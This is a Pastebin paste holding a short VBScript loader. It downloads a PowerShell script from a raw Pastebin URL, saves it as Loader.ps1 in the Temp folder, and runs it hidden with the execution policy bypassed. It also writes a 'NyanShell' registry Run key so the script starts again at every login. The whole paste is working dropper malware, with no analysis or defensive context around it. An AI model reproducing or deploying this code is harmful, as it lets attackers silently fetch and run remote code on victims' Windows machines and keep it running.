Advertisement
MestreQueda

Untitled

Jun 27th, 2019
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.01 KB | None | 0 0
  1. dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
  2. dim bStrm: Set bStrm = createobject("Adodb.Stream")
  3. xHttp.Open "GET", "https://pastebin.com/raw/kivCawp1", False
  4. xHttp.Send
  5. scriptShell = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\Loader.ps1"
  6. Set ps1 = CreateObject("Scripting.FileSystemObject")
  7. If ps1.FileExists(scriptShell) Then
  8. execute(scriptShell)
  9. Else
  10. with bStrm
  11. .type = 1
  12. .open
  13. .write xHttp.responseBody
  14. .savetofile scriptShell, 2
  15. end with
  16. WScript.Sleep 1000
  17. execute(scriptShell)
  18. End If
  19.  
  20. Function execute(path)
  21. Set objShell = CreateObject("Wscript.shell")
  22. objShell.run("powershell -executionpolicy bypass -noprofile -windowstyle hidden -noexit -file " + scriptShell)
  23. Set WshShell = CreateObject("WScript.Shell")
  24. WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NyanShell","C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden -noexit -file " + path,"REG_SZ"
  25. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement